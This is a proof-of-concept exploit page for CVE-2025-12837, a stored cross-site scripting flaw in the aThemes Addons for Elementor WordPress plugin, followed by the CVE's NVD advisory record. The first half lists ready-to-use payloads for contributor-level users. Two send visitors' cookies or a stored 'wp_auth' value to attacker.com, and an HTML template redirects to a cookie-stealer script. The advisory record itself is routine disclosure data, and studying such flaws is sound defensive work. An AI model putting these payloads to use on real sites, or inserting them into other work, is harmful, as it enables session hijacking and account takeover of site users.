CVE-2025-12837

<!-- CVE-2025-12837 PoC: Stored XSS in aThemes Addons for Elementor Call To Action Widget --> <!-- Requirements: Contributor role or higher in WordPress --> <!-- Steps: Add Call To Action widget, inject payload in text fields --> <!-- Payload 1: Basic script injection in button text --> <script>alert('XSS CVE-2025-12837')</script> <!-- Payload 2: Event handler based XSS --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Payload 3: SVG-based injection --> <svg/onload=fetch('https://attacker.com/log?data='+localStorage.getItem('wp_auth'))> <!-- Example HTML structure for exploitation --> <div class="athemes-addons-call-to-action"> <a href="#" onclick="/* injected malicious code */"> <script>document.location='https://attacker.com/cookie_stealer.php?c='+document.cookie</script> </a> </div>

{"cve": {"id": "CVE-2025-12837", "sourceIdentifier": "[email protected]", "published": "2025-11-08T10:15:41.877", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The aThemes Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Call To Action widget in versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping on user-supplied values. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/athemes-addons-for-elementor-lite/tags/1.1.5/inc/modules/widgets/call-to-action/class-call-to-action.php#L938", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3391638%40athemes-addons-for-elementor-lite&old=3382628%40athemes-addons-for-elementor-lite&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/athemes-addons-for-elementor-lite/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/75a3a8ee-42c6-4963-bb48-6794b310b861?source=cve", "source": "[email protected]"}]}}